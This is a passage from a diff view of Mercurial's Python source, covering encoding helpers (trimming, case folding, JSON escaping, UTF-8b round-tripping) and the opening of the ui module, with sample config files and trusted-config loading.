287 | 288 | \x11\x22\x33\x44\x55\x66\x77\x88 |
|
288 | 289 | >>> print trim(t, 8, leftside=True) |
|
289 | 290 | \x33\x44\x55\x66\x77\x88\x99\xaa |
|
290 | 291 | >>> print trim(t, 3, ellipsis=ellipsis) |
|
291 | 292 | +++ |
|
292 | 293 | >>> print trim(t, 1, ellipsis=ellipsis) |
|
293 | 294 | + |
|
294 | 295 | """ |
|
295 | 296 | try: |
|
296 | 297 | u = s.decode(_sysstr(encoding)) |
|
297 | 298 | except UnicodeDecodeError: |
|
298 | 299 | if len(s) <= width: # trimming is not needed |
|
299 | 300 | return s |
|
300 | 301 | width -= len(ellipsis) |
|
301 | 302 | if width <= 0: # no enough room even for ellipsis |
|
302 | 303 | return ellipsis[:width + len(ellipsis)] |
|
303 | 304 | if leftside: |
|
304 | 305 | return ellipsis + s[-width:] |
|
305 | 306 | return s[:width] + ellipsis |
|
306 | 307 | |
|
307 | 308 | if ucolwidth(u) <= width: # trimming is not needed |
|
308 | 309 | return s |
|
309 | 310 | |
|
310 | 311 | width -= len(ellipsis) |
|
311 | 312 | if width <= 0: # no enough room even for ellipsis |
|
312 | 313 | return ellipsis[:width + len(ellipsis)] |
|
313 | 314 | |
|
314 | 315 | if leftside: |
|
315 | 316 | uslice = lambda i: u[i:] |
|
316 | 317 | concat = lambda s: ellipsis + s |
|
317 | 318 | else: |
|
318 | 319 | uslice = lambda i: u[:-i] |
|
319 | 320 | concat = lambda s: s + ellipsis |
|
320 | 321 | for i in xrange(1, len(u)): |
|
321 | 322 | usub = uslice(i) |
|
322 | 323 | if ucolwidth(usub) <= width: |
|
323 | 324 | return concat(usub.encode(_sysstr(encoding))) |
|
324 | 325 | return ellipsis # no enough room for multi-column characters |
|
325 | 326 | |
|
326 | 327 | def lower(s): |
|
327 | 328 | "best-effort encoding-aware case-folding of local string s" |
|
328 | 329 | try: |
|
329 | 330 | return asciilower(s) |
|
330 | 331 | except UnicodeDecodeError: |
|
331 | 332 | pass |
|
332 | 333 | try: |
|
333 | 334 | if isinstance(s, localstr): |
|
334 | 335 | u = s._utf8.decode("utf-8") |
|
335 | 336 | else: |
|
336 | 337 | u = s.decode(_sysstr(encoding), _sysstr(encodingmode)) |
|
337 | 338 | |
|
338 | 339 | lu = u.lower() |
|
339 | 340 | if u == lu: |
|
340 | 341 | return s # preserve localstring |
|
341 | 342 | return lu.encode(_sysstr(encoding)) |
|
342 | 343 | except UnicodeError: |
|
343 | 344 | return s.lower() # we don't know how to fold this except in ASCII |
|
344 | 345 | except LookupError as k: |
|
345 | 346 | raise error.Abort(k, hint="please check your locale settings") |
|
346 | 347 | |
|
347 | 348 | def upper(s): |
|
348 | 349 | "best-effort encoding-aware case-folding of local string s" |
|
349 | 350 | try: |
|
350 | 351 | return asciiupper(s) |
|
351 | 352 | except UnicodeDecodeError: |
|
352 | 353 | return upperfallback(s) |
|
353 | 354 | |
|
354 | 355 | def upperfallback(s): |
|
355 | 356 | try: |
|
356 | 357 | if isinstance(s, localstr): |
|
357 | 358 | u = s._utf8.decode("utf-8") |
|
358 | 359 | else: |
|
359 | 360 | u = s.decode(_sysstr(encoding), _sysstr(encodingmode)) |
|
360 | 361 | |
|
361 | 362 | uu = u.upper() |
|
362 | 363 | if u == uu: |
|
363 | 364 | return s # preserve localstring |
|
364 | 365 | return uu.encode(_sysstr(encoding)) |
|
365 | 366 | except UnicodeError: |
|
366 | 367 | return s.upper() # we don't know how to fold this except in ASCII |
|
367 | 368 | except LookupError as k: |
|
368 | 369 | raise error.Abort(k, hint="please check your locale settings") |
|
369 | 370 | |
|
370 | 371 | class normcasespecs(object): |
|
371 | 372 | '''what a platform's normcase does to ASCII strings |
|
372 | 373 | |
|
373 | 374 | This is specified per platform, and should be consistent with what normcase |
|
374 | 375 | on that platform actually does. |
|
375 | 376 | |
|
376 | 377 | lower: normcase lowercases ASCII strings |
|
377 | 378 | upper: normcase uppercases ASCII strings |
|
378 | 379 | other: the fallback function should always be called |
|
379 | 380 | |
|
380 | 381 | This should be kept in sync with normcase_spec in util.h.''' |
|
381 | 382 | lower = -1 |
|
382 | 383 | upper = 1 |
|
383 | 384 | other = 0 |
|
384 | 385 | |
|
385 | 386 | _jsonmap = [] |
|
386 | 387 | _jsonmap.extend("\\u%04x" % x for x in range(32)) |
|
387 | 388 | _jsonmap.extend(pycompat.bytechr(x) for x in range(32, 127)) |
|
388 | 389 | _jsonmap.append('\\u007f') |
|
389 | 390 | _jsonmap[0x09] = '\\t' |
|
390 | 391 | _jsonmap[0x0a] = '\\n' |
|
391 | 392 | _jsonmap[0x22] = '\\"' |
|
392 | 393 | _jsonmap[0x5c] = '\\\\' |
|
393 | 394 | _jsonmap[0x08] = '\\b' |
|
394 | 395 | _jsonmap[0x0c] = '\\f' |
|
395 | 396 | _jsonmap[0x0d] = '\\r' |
|
396 | 397 | _paranoidjsonmap = _jsonmap[:] |
|
397 | 398 | _paranoidjsonmap[0x3c] = '\\u003c' # '<' (e.g. escape "</script>") |
|
398 | 399 | _paranoidjsonmap[0x3e] = '\\u003e' # '>' |
|
399 | 400 | _jsonmap.extend(pycompat.bytechr(x) for x in range(128, 256)) |
|
400 | 401 | |
|
401 | 402 | def jsonescape(s, paranoid=False): |
|
402 | 403 | '''returns a string suitable for JSON |
|
403 | 404 | |
|
404 | 405 | JSON is problematic for us because it doesn't support non-Unicode |
|
405 | 406 | bytes. To deal with this, we take the following approach: |
|
406 | 407 | |
|
407 | 408 | - localstr objects are converted back to UTF-8 |
|
408 | 409 | - valid UTF-8/ASCII strings are passed as-is |
|
409 | 410 | - other strings are converted to UTF-8b surrogate encoding |
|
410 | 411 | - apply JSON-specified string escaping |
|
411 | 412 | |
|
412 | 413 | (escapes are doubled in these tests) |
|
413 | 414 | |
|
414 | 415 | >>> jsonescape('this is a test') |
|
415 | 416 | 'this is a test' |
|
416 | 417 | >>> jsonescape('escape characters: \\0 \\x0b \\x7f') |
|
417 | 418 | 'escape characters: \\\\u0000 \\\\u000b \\\\u007f' |
|
418 | 419 | >>> jsonescape('escape characters: \\t \\n \\r \\" \\\\') |
|
419 | 420 | 'escape characters: \\\\t \\\\n \\\\r \\\\" \\\\\\\\' |
|
420 | 421 | >>> jsonescape('a weird byte: \\xdd') |
|
421 | 422 | 'a weird byte: \\xed\\xb3\\x9d' |
|
422 | 423 | >>> jsonescape('utf-8: caf\\xc3\\xa9') |
|
423 | 424 | 'utf-8: caf\\xc3\\xa9' |
|
424 | 425 | >>> jsonescape('') |
|
425 | 426 | '' |
|
426 | 427 | |
|
427 | 428 | If paranoid, non-ascii and common troublesome characters are also escaped. |
|
428 | 429 | This is suitable for web output. |
|
429 | 430 | |
|
430 | 431 | >>> jsonescape('escape boundary: \\x7e \\x7f \\xc2\\x80', paranoid=True) |
|
431 | 432 | 'escape boundary: ~ \\\\u007f \\\\u0080' |
|
432 | 433 | >>> jsonescape('a weird byte: \\xdd', paranoid=True) |
|
433 | 434 | 'a weird byte: \\\\udcdd' |
|
434 | 435 | >>> jsonescape('utf-8: caf\\xc3\\xa9', paranoid=True) |
|
435 | 436 | 'utf-8: caf\\\\u00e9' |
|
436 | 437 | >>> jsonescape('non-BMP: \\xf0\\x9d\\x84\\x9e', paranoid=True) |
|
437 | 438 | 'non-BMP: \\\\ud834\\\\udd1e' |
|
438 | 439 | >>> jsonescape('<foo@example.org>', paranoid=True) |
|
439 | 440 | '\\\\u003cfoo@example.org\\\\u003e' |
|
440 | 441 | ''' |
|
441 | 442 | |
|
442 | 443 | if paranoid: |
|
443 | 444 | jm = _paranoidjsonmap |
|
444 | 445 | else: |
|
445 | 446 | jm = _jsonmap |
|
446 | 447 | |
|
447 | 448 | u8chars = toutf8b(s) |
|
448 | 449 | try: |
|
449 | 450 | return ''.join(jm[x] for x in bytearray(u8chars)) # fast path |
|
450 | 451 | except IndexError: |
|
451 | 452 | pass |
|
452 | 453 | # non-BMP char is represented as UTF-16 surrogate pair |
|
453 | 454 | u16codes = array.array('H', u8chars.decode('utf-8').encode('utf-16')) |
|
454 | 455 | u16codes.pop(0) # drop BOM |
|
455 | 456 | return ''.join(jm[x] if x < 128 else '\\u%04x' % x for x in u16codes) |
|
456 | 457 | |
|
457 | 458 | _utf8len = [0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 2, 2, 3, 4] |
|
458 | 459 | |
|
459 | 460 | def getutf8char(s, pos): |
|
460 | 461 | '''get the next full utf-8 character in the given string, starting at pos |
|
461 | 462 | |
|
462 | 463 | Raises a UnicodeError if the given location does not start a valid |
|
463 | 464 | utf-8 character. |
|
464 | 465 | ''' |
|
465 | 466 | |
|
466 | 467 | # find how many bytes to attempt decoding from first nibble |
|
467 | 468 | l = _utf8len[ord(s[pos]) >> 4] |
|
468 | 469 | if not l: # ascii |
|
469 | 470 | return s[pos] |
|
470 | 471 | |
|
471 | 472 | c = s[pos:pos + l] |
|
472 | 473 | # validate with attempted decode |
|
473 | 474 | c.decode("utf-8") |
|
474 | 475 | return c |
|
475 | 476 | |
|
476 | 477 | def toutf8b(s): |
|
477 | 478 | '''convert a local, possibly-binary string into UTF-8b |
|
478 | 479 | |
|
479 | 480 | This is intended as a generic method to preserve data when working |
|
480 | 481 | with schemes like JSON and XML that have no provision for |
|
481 | 482 | arbitrary byte strings. As Mercurial often doesn't know |
|
482 | 483 | what encoding data is in, we use so-called UTF-8b. |
|
483 | 484 | |
|
484 | 485 | If a string is already valid UTF-8 (or ASCII), it passes unmodified. |
|
485 | 486 | Otherwise, unsupported bytes are mapped to UTF-16 surrogate range, |
|
486 | 487 | uDC00-uDCFF. |
|
487 | 488 | |
|
488 | 489 | Principles of operation: |
|
489 | 490 | |
|
490 | 491 | - ASCII and UTF-8 data successfully round-trips and is understood |
|
491 | 492 | by Unicode-oriented clients |
|
492 | 493 | - filenames and file contents in arbitrary other encodings can have |
|
493 | 494 | be round-tripped or recovered by clueful clients |
|
494 | 495 | - local strings that have a cached known UTF-8 encoding (aka |
|
495 | 496 | localstr) get sent as UTF-8 so Unicode-oriented clients get the |
|
496 | 497 | Unicode data they want |
|
497 | 498 | - because we must preserve UTF-8 bytestring in places such as |
|
498 | 499 | filenames, metadata can't be roundtripped without help |
|
499 | 500 | |
|
500 | 501 | (Note: "UTF-8b" often refers to decoding a mix of valid UTF-8 and |
|
501 | 502 | arbitrary bytes into an internal Unicode format that can be |
|
502 | 503 | re-encoded back into the original. Here we are exposing the |
|
503 | 504 | internal surrogate encoding as a UTF-8 string.) |
|
504 | 505 | ''' |
|
505 | 506 | |
|
506 | 507 | if "\xed" not in s: |
|
507 | 508 | if isinstance(s, localstr): |
|
508 | 509 | return s._utf8 |
|
509 | 510 | try: |
|
510 | 511 | s.decode('utf-8') |
|
511 | 512 | return s |
|
512 | 513 | except UnicodeDecodeError: |
|
513 | 514 | pass |
|
514 | 515 | |
|
515 | 516 | r = "" |
|
516 | 517 | pos = 0 |
|
517 | 518 | l = len(s) |
|
518 | 519 | while pos < l: |
|
519 | 520 | try: |
|
520 | 521 | c = getutf8char(s, pos) |
|
521 | 522 | if "\xed\xb0\x80" <= c <= "\xed\xb3\xbf": |
|
522 | 523 | # have to re-escape existing U+DCxx characters |
|
523 | 524 | c = unichr(0xdc00 + ord(s[pos])).encode('utf-8') |
|
524 | 525 | pos += 1 |
|
525 | 526 | else: |
|
526 | 527 | pos += len(c) |
|
527 | 528 | except UnicodeDecodeError: |
|
528 | 529 | c = unichr(0xdc00 + ord(s[pos])).encode('utf-8') |
|
529 | 530 | pos += 1 |
|
530 | 531 | r += c |
|
531 | 532 | return r |
|
532 | 533 | |
|
533 | 534 | def fromutf8b(s): |
|
534 | 535 | '''Given a UTF-8b string, return a local, possibly-binary string. |
|
535 | 536 | |
|
536 | 537 | return the original binary string. This |
|
537 | 538 | is a round-trip process for strings like filenames, but metadata |
|
538 | 539 | that's was passed through tolocal will remain in UTF-8. |
|
539 | 540 | |
|
540 | 541 | >>> roundtrip = lambda x: fromutf8b(toutf8b(x)) == x |
|
541 | 542 | >>> m = "\\xc3\\xa9\\x99abcd" |
|
542 | 543 | >>> toutf8b(m) |
|
543 | 544 | '\\xc3\\xa9\\xed\\xb2\\x99abcd' |
|
544 | 545 | >>> roundtrip(m) |
|
545 | 546 | True |
|
546 | 547 | >>> roundtrip("\\xc2\\xc2\\x80") |
|
547 | 548 | True |
|
548 | 549 | >>> roundtrip("\\xef\\xbf\\xbd") |
|
549 | 550 | True |
|
550 | 551 | >>> roundtrip("\\xef\\xef\\xbf\\xbd") |
|
551 | 552 | True |
|
552 | 553 | >>> roundtrip("\\xf1\\x80\\x80\\x80\\x80") |
|
553 | 554 | True |
|
554 | 555 | ''' |
|
555 | 556 | |
|
556 | 557 | # fast path - look for uDxxx prefixes in s |
|
557 | 558 | if "\xed" not in s: |
|
558 | 559 | return s |
|
559 | 560 | |
|
560 | 561 | # We could do this with the unicode type but some Python builds |
|
561 | 562 | # use UTF-16 internally (issue5031) which causes non-BMP code |
|
562 | 563 | # points to be escaped. Instead, we use our handy getutf8char |
|
563 | 564 | # helper again to walk the string without "decoding" it. |
|
564 | 565 | |
|
565 | 566 | r = "" |
|
566 | 567 | pos = 0 |
|
567 | 568 | l = len(s) |
|
568 | 569 | while pos < l: |
|
569 | 570 | c = getutf8char(s, pos) |
|
570 | 571 | pos += len(c) |
|
571 | 572 | # unescape U+DCxx characters |
|
572 | 573 | if "\xed\xb0\x80" <= c <= "\xed\xb3\xbf": |
|
573 | 574 | c = chr(ord(c.decode("utf-8")) & 0xff) |
|
574 | 575 | r += c |
|
575 | 576 | return r |
|
577 | ||
|
578 | class strio(io.TextIOWrapper): | |
|
579 | """Wrapper around TextIOWrapper that respects hg's encoding assumptions. | |
|
580 | ||
|
581 | Also works around Python closing streams. | |
|
582 | """ | |
|
583 | ||
|
584 | def __init__(self, buffer, **kwargs): | |
|
585 | kwargs[r'encoding'] = _sysstr(encoding) | |
|
586 | super(strio, self).__init__(buffer, **kwargs) | |
|
587 | ||
|
588 | def __del__(self): | |
|
589 | """Override __del__ so it doesn't close the underlying stream.""" |
@@ -1,1785 +1,1777 b'' | |||
|
1 | 1 | # ui.py - user interface bits for mercurial |
|
2 | 2 | # |
|
3 | 3 | # Copyright 2005-2007 Matt Mackall <mpm@selenic.com> |
|
4 | 4 | # |
|
5 | 5 | # This software may be used and distributed according to the terms of the |
|
6 | 6 | # GNU General Public License version 2 or any later version. |
|
7 | 7 | |
|
8 | 8 | from __future__ import absolute_import |
|
9 | 9 | |
|
10 | 10 | import collections |
|
11 | 11 | import contextlib |
|
12 | 12 | import errno |
|
13 | 13 | import getpass |
|
14 | 14 | import inspect |
|
15 | 15 | import os |
|
16 | 16 | import re |
|
17 | 17 | import signal |
|
18 | 18 | import socket |
|
19 | 19 | import subprocess |
|
20 | 20 | import sys |
|
21 | 21 | import tempfile |
|
22 | 22 | import traceback |
|
23 | 23 | |
|
24 | 24 | from .i18n import _ |
|
25 | 25 | from .node import hex |
|
26 | 26 | |
|
27 | 27 | from . import ( |
|
28 | 28 | color, |
|
29 | 29 | config, |
|
30 | 30 | configitems, |
|
31 | 31 | encoding, |
|
32 | 32 | error, |
|
33 | 33 | formatter, |
|
34 | 34 | progress, |
|
35 | 35 | pycompat, |
|
36 | 36 | rcutil, |
|
37 | 37 | scmutil, |
|
38 | 38 | util, |
|
39 | 39 | ) |
|
40 | 40 | |
|
41 | 41 | urlreq = util.urlreq |
|
42 | 42 | |
|
43 | 43 | # for use with str.translate(None, _keepalnum), to keep just alphanumerics |
|
44 | 44 | _keepalnum = ''.join(c for c in map(pycompat.bytechr, range(256)) |
|
45 | 45 | if not c.isalnum()) |
|
46 | 46 | |
|
47 | 47 | # The config knobs that will be altered (if unset) by ui.tweakdefaults. |
|
48 | 48 | tweakrc = """ |
|
49 | 49 | [ui] |
|
50 | 50 | # The rollback command is dangerous. As a rule, don't use it. |
|
51 | 51 | rollback = False |
|
52 | 52 | |
|
53 | 53 | [commands] |
|
54 | 54 | # Make `hg status` emit cwd-relative paths by default. |
|
55 | 55 | status.relative = yes |
|
56 | 56 | |
|
57 | 57 | [diff] |
|
58 | 58 | git = 1 |
|
59 | 59 | """ |
|
60 | 60 | |
|
61 | 61 | samplehgrcs = { |
|
62 | 62 | 'user': |
|
63 | 63 | b"""# example user config (see 'hg help config' for more info) |
|
64 | 64 | [ui] |
|
65 | 65 | # name and email, e.g. |
|
66 | 66 | # username = Jane Doe <jdoe@example.com> |
|
67 | 67 | username = |
|
68 | 68 | |
|
69 | 69 | # uncomment to disable color in command output |
|
70 | 70 | # (see 'hg help color' for details) |
|
71 | 71 | # color = never |
|
72 | 72 | |
|
73 | 73 | # uncomment to disable command output pagination |
|
74 | 74 | # (see 'hg help pager' for details) |
|
75 | 75 | # paginate = never |
|
76 | 76 | |
|
77 | 77 | [extensions] |
|
78 | 78 | # uncomment these lines to enable some popular extensions |
|
79 | 79 | # (see 'hg help extensions' for more info) |
|
80 | 80 | # |
|
81 | 81 | # churn = |
|
82 | 82 | """, |
|
83 | 83 | |
|
84 | 84 | 'cloned': |
|
85 | 85 | b"""# example repository config (see 'hg help config' for more info) |
|
86 | 86 | [paths] |
|
87 | 87 | default = %s |
|
88 | 88 | |
|
89 | 89 | # path aliases to other clones of this repo in URLs or filesystem paths |
|
90 | 90 | # (see 'hg help config.paths' for more info) |
|
91 | 91 | # |
|
92 | 92 | # default:pushurl = ssh://jdoe@example.net/hg/jdoes-fork |
|
93 | 93 | # my-fork = ssh://jdoe@example.net/hg/jdoes-fork |
|
94 | 94 | # my-clone = /home/jdoe/jdoes-clone |
|
95 | 95 | |
|
96 | 96 | [ui] |
|
97 | 97 | # name and email (local to this repository, optional), e.g. |
|
98 | 98 | # username = Jane Doe <jdoe@example.com> |
|
99 | 99 | """, |
|
100 | 100 | |
|
101 | 101 | 'local': |
|
102 | 102 | b"""# example repository config (see 'hg help config' for more info) |
|
103 | 103 | [paths] |
|
104 | 104 | # path aliases to other clones of this repo in URLs or filesystem paths |
|
105 | 105 | # (see 'hg help config.paths' for more info) |
|
106 | 106 | # |
|
107 | 107 | # default = http://example.com/hg/example-repo |
|
108 | 108 | # default:pushurl = ssh://jdoe@example.net/hg/jdoes-fork |
|
109 | 109 | # my-fork = ssh://jdoe@example.net/hg/jdoes-fork |
|
110 | 110 | # my-clone = /home/jdoe/jdoes-clone |
|
111 | 111 | |
|
112 | 112 | [ui] |
|
113 | 113 | # name and email (local to this repository, optional), e.g. |
|
114 | 114 | # username = Jane Doe <jdoe@example.com> |
|
115 | 115 | """, |
|
116 | 116 | |
|
117 | 117 | 'global': |
|
118 | 118 | b"""# example system-wide hg config (see 'hg help config' for more info) |
|
119 | 119 | |
|
120 | 120 | [ui] |
|
121 | 121 | # uncomment to disable color in command output |
|
122 | 122 | # (see 'hg help color' for details) |
|
123 | 123 | # color = never |
|
124 | 124 | |
|
125 | 125 | # uncomment to disable command output pagination |
|
126 | 126 | # (see 'hg help pager' for details) |
|
127 | 127 | # paginate = never |
|
128 | 128 | |
|
129 | 129 | [extensions] |
|
130 | 130 | # uncomment these lines to enable some popular extensions |
|
131 | 131 | # (see 'hg help extensions' for more info) |
|
132 | 132 | # |
|
133 | 133 | # blackbox = |
|
134 | 134 | # churn = |
|
135 | 135 | """, |
|
136 | 136 | } |
|
137 | 137 | |
|
138 | 138 | |
|
139 | 139 | class httppasswordmgrdbproxy(object): |
|
140 | 140 | """Delays loading urllib2 until it's needed.""" |
|
141 | 141 | def __init__(self): |
|
142 | 142 | self._mgr = None |
|
143 | 143 | |
|
144 | 144 | def _get_mgr(self): |
|
145 | 145 | if self._mgr is None: |
|
146 | 146 | self._mgr = urlreq.httppasswordmgrwithdefaultrealm() |
|
147 | 147 | return self._mgr |
|
148 | 148 | |
|
149 | 149 | def add_password(self, *args, **kwargs): |
|
150 | 150 | return self._get_mgr().add_password(*args, **kwargs) |
|
151 | 151 | |
|
152 | 152 | def find_user_password(self, *args, **kwargs): |
|
153 | 153 | return self._get_mgr().find_user_password(*args, **kwargs) |
|
154 | 154 | |
|
155 | 155 | def _catchterm(*args): |
|
156 | 156 | raise error.SignalInterrupt |
|
157 | 157 | |
|
158 | 158 | # unique object used to detect no default value has been provided when |
|
159 | 159 | # retrieving configuration value. |
|
160 | 160 | _unset = object() |
|
161 | 161 | |
|
162 | 162 | class ui(object): |
|
163 | 163 | def __init__(self, src=None): |
|
164 | 164 | """Create a fresh new ui object if no src given |
|
165 | 165 | |
|
166 | 166 | Use uimod.ui.load() to create a ui which knows global and user configs. |
|
167 | 167 | In most cases, you should use ui.copy() to create a copy of an existing |
|
168 | 168 | ui object. |
|
169 | 169 | """ |
|
170 | 170 | # _buffers: used for temporary capture of output |
|
171 | 171 | self._buffers = [] |
|
172 | 172 | # _exithandlers: callbacks run at the end of a request |
|
173 | 173 | self._exithandlers = [] |
|
174 | 174 | # 3-tuple describing how each buffer in the stack behaves. |
|
175 | 175 | # Values are (capture stderr, capture subprocesses, apply labels). |
|
176 | 176 | self._bufferstates = [] |
|
177 | 177 | # When a buffer is active, defines whether we are expanding labels. |
|
178 | 178 | # This exists to prevent an extra list lookup. |
|
179 | 179 | self._bufferapplylabels = None |
|
180 | 180 | self.quiet = self.verbose = self.debugflag = self.tracebackflag = False |
|
181 | 181 | self._reportuntrusted = True |
|
182 | 182 | self._knownconfig = configitems.coreitems |
|
183 | 183 | self._ocfg = config.config() # overlay |
|
184 | 184 | self._tcfg = config.config() # trusted |
|
185 | 185 | self._ucfg = config.config() # untrusted |
|
186 | 186 | self._trustusers = set() |
|
187 | 187 | self._trustgroups = set() |
|
188 | 188 | self.callhooks = True |
|
189 | 189 | # Insecure server connections requested. |
|
190 | 190 | self.insecureconnections = False |
|
191 | 191 | # Blocked time |
|
192 | 192 | self.logblockedtimes = False |
|
193 | 193 | # color mode: see mercurial/color.py for possible value |
|
194 | 194 | self._colormode = None |
|
195 | 195 | self._terminfoparams = {} |
|
196 | 196 | self._styles = {} |
|
197 | 197 | |
|
198 | 198 | if src: |
|
199 | 199 | self._exithandlers = src._exithandlers |
|
200 | 200 | self.fout = src.fout |
|
201 | 201 | self.ferr = src.ferr |
|
202 | 202 | self.fin = src.fin |
|
203 | 203 | self.pageractive = src.pageractive |
|
204 | 204 | self._disablepager = src._disablepager |
|
205 | 205 | self._tweaked = src._tweaked |
|
206 | 206 | |
|
207 | 207 | self._tcfg = src._tcfg.copy() |
|
208 | 208 | self._ucfg = src._ucfg.copy() |
|
209 | 209 | self._ocfg = src._ocfg.copy() |
|
210 | 210 | self._trustusers = src._trustusers.copy() |
|
211 | 211 | self._trustgroups = src._trustgroups.copy() |
|
212 | 212 | self.environ = src.environ |
|
213 | 213 | self.callhooks = src.callhooks |
|
214 | 214 | self.insecureconnections = src.insecureconnections |
|
215 | 215 | self._colormode = src._colormode |
|
216 | 216 | self._terminfoparams = src._terminfoparams.copy() |
|
217 | 217 | self._styles = src._styles.copy() |
|
218 | 218 | |
|
219 | 219 | self.fixconfig() |
|
220 | 220 | |
|
221 | 221 | self.httppasswordmgrdb = src.httppasswordmgrdb |
|
222 | 222 | self._blockedtimes = src._blockedtimes |
|
223 | 223 | else: |
|
224 | 224 | self.fout = util.stdout |
|
225 | 225 | self.ferr = util.stderr |
|
226 | 226 | self.fin = util.stdin |
|
227 | 227 | self.pageractive = False |
|
228 | 228 | self._disablepager = False |
|
229 | 229 | self._tweaked = False |
|
230 | 230 | |
|
231 | 231 | # shared read-only environment |
|
232 | 232 | self.environ = encoding.environ |
|
233 | 233 | |
|
234 | 234 | self.httppasswordmgrdb = httppasswordmgrdbproxy() |
|
235 | 235 | self._blockedtimes = collections.defaultdict(int) |
|
236 | 236 | |
|
237 | 237 | allowed = self.configlist('experimental', 'exportableenviron') |
|
238 | 238 | if '*' in allowed: |
|
239 | 239 | self._exportableenviron = self.environ |
|
240 | 240 | else: |
|
241 | 241 | self._exportableenviron = {} |
|
242 | 242 | for k in allowed: |
|
243 | 243 | if k in self.environ: |
|
244 | 244 | self._exportableenviron[k] = self.environ[k] |
|
245 | 245 | |
|
246 | 246 | @classmethod |
|
247 | 247 | def load(cls): |
|
248 | 248 | """Create a ui and load global and user configs""" |
|
249 | 249 | u = cls() |
|
250 | 250 | # we always trust global config files and environment variables |
|
251 | 251 | for t, f in rcutil.rccomponents(): |
|
252 | 252 | if t == 'path': |
|
253 | 253 | u.readconfig(f, trust=True) |
|
254 | 254 | elif t == 'items': |
|
255 | 255 | sections = set() |
|
256 | 256 | for section, name, value, source in f: |
|
257 | 257 | # do not set u._ocfg |
|
258 | 258 | # XXX clean this up once immutable config object is a thing |
|
259 | 259 | u._tcfg.set(section, name, value, source) |
|
260 | 260 | u._ucfg.set(section, name, value, source) |
|
261 | 261 | sections.add(section) |
|
262 | 262 | for section in sections: |
|
263 | 263 | u.fixconfig(section=section) |
|
264 | 264 | else: |
|
265 | 265 | raise error.ProgrammingError('unknown rctype: %s' % t) |
|
266 | 266 | u._maybetweakdefaults() |
|
267 | 267 | return u |
|
268 | 268 | |
|
269 | 269 | def _maybetweakdefaults(self): |
|
270 | 270 | if not self.configbool('ui', 'tweakdefaults'): |
|
271 | 271 | return |
|
272 | 272 | if self._tweaked or self.plain('tweakdefaults'): |
|
273 | 273 | return |
|
274 | 274 | |
|
275 | 275 | # Note: it is SUPER IMPORTANT that you set self._tweaked to |
|
276 | 276 | # True *before* any calls to setconfig(), otherwise you'll get |
|
277 | 277 | # infinite recursion between setconfig and this method. |
|
278 | 278 | # |
|
279 | 279 | # TODO: We should extract an inner method in setconfig() to |
|
280 | 280 | # avoid this weirdness. |
|
281 | 281 | self._tweaked = True |
|
282 | 282 | tmpcfg = config.config() |
|
283 | 283 | tmpcfg.parse('<tweakdefaults>', tweakrc) |
|
284 | 284 | for section in tmpcfg: |
|
285 | 285 | for name, value in tmpcfg.items(section): |
|
286 | 286 | if not self.hasconfig(section, name): |
|
287 | 287 | self.setconfig(section, name, value, "<tweakdefaults>") |
|
288 | 288 | |
|
289 | 289 | def copy(self): |
|
290 | 290 | return self.__class__(self) |
|
291 | 291 | |
|
292 | 292 | def resetstate(self): |
|
293 | 293 | """Clear internal state that shouldn't persist across commands""" |
|
294 | 294 | if self._progbar: |
|
295 | 295 | self._progbar.resetstate() # reset last-print time of progress bar |
|
296 | 296 | self.httppasswordmgrdb = httppasswordmgrdbproxy() |
|
297 | 297 | |
|
298 | 298 | @contextlib.contextmanager |
|
299 | 299 | def timeblockedsection(self, key): |
|
300 | 300 | # this is open-coded below - search for timeblockedsection to find them |
|
301 | 301 | starttime = util.timer() |
|
302 | 302 | try: |
|
303 | 303 | yield |
|
304 | 304 | finally: |
|
305 | 305 | self._blockedtimes[key + '_blocked'] += \ |
|
306 | 306 | (util.timer() - starttime) * 1000 |
|
307 | 307 | |
|
308 | 308 | def formatter(self, topic, opts): |
|
309 | 309 | return formatter.formatter(self, self, topic, opts) |
|
310 | 310 | |
|
311 | 311 | def _trusted(self, fp, f): |
|
312 | 312 | st = util.fstat(fp) |
|
313 | 313 | if util.isowner(st): |
|
314 | 314 | return True |
|
315 | 315 | |
|
316 | 316 | tusers, tgroups = self._trustusers, self._trustgroups |
|
317 | 317 | if '*' in tusers or '*' in tgroups: |
|
318 | 318 | return True |
|
319 | 319 | |
|
320 | 320 | user = util.username(st.st_uid) |
|
321 | 321 | group = util.groupname(st.st_gid) |
|
322 | 322 | if user in tusers or group in tgroups or user == util.username(): |
|
323 | 323 | return True |
|
324 | 324 | |
|
325 | 325 | if self._reportuntrusted: |
|
326 | 326 | self.warn(_('not trusting file %s from untrusted ' |
|
327 | 327 | 'user %s, group %s\n') % (f, user, group)) |
|
328 | 328 | return False |
|
329 | 329 | |
|
330 | 330 | def readconfig(self, filename, root=None, trust=False, |
|
331 | 331 | sections=None, remap=None): |
|
332 | 332 | try: |
|
333 | 333 | fp = open(filename, u'rb') |
|
334 | 334 | except IOError: |
|
335 | 335 | if not sections: # ignore unless we were looking for something |
|
336 | 336 | return |
|
337 | 337 | raise |
|
338 | 338 | |
|
339 | 339 | cfg = config.config() |
|
340 | 340 | trusted = sections or trust or self._trusted(fp, filename) |
|
341 | 341 | |
|
342 | 342 | try: |
|
343 | 343 | cfg.read(filename, fp, sections=sections, remap=remap) |
|
344 | 344 | fp.close() |
|
345 | 345 | except error.ConfigError as inst: |
|
346 | 346 | if trusted: |
|
347 | 347 | raise |
|
348 | 348 | self.warn(_("ignored: %s\n") % str(inst)) |
|
349 | 349 | |
|
350 | 350 | if self.plain(): |
|
351 | 351 | for k in ('debug', 'fallbackencoding', 'quiet', 'slash', |
|
352 | 352 | 'logtemplate', 'statuscopies', 'style', |
|
353 | 353 | 'traceback', 'verbose'): |
|
354 | 354 | if k in cfg['ui']: |
|
355 | 355 | del cfg['ui'][k] |
|
356 | 356 | for k, v in cfg.items('defaults'): |
|
357 | 357 | del cfg['defaults'][k] |
|
358 | 358 | for k, v in cfg.items('commands'): |
|
359 | 359 | del cfg['commands'][k] |
|
360 | 360 | # Don't remove aliases from the configuration if in the exceptionlist |
|
361 | 361 | if self.plain('alias'): |
|
362 | 362 | for k, v in cfg.items('alias'): |
|
363 | 363 | del cfg['alias'][k] |
|
364 | 364 | if self.plain('revsetalias'): |
|
365 | 365 | for k, v in cfg.items('revsetalias'): |
|
366 | 366 | del cfg['revsetalias'][k] |
|
367 | 367 | if self.plain('templatealias'): |
|
368 | 368 | for k, v in cfg.items('templatealias'): |
|
369 | 369 | del cfg['templatealias'][k] |
|
370 | 370 | |
|
371 | 371 | if trusted: |
|
372 | 372 | self._tcfg.update(cfg) |
|
373 | 373 | self._tcfg.update(self._ocfg) |
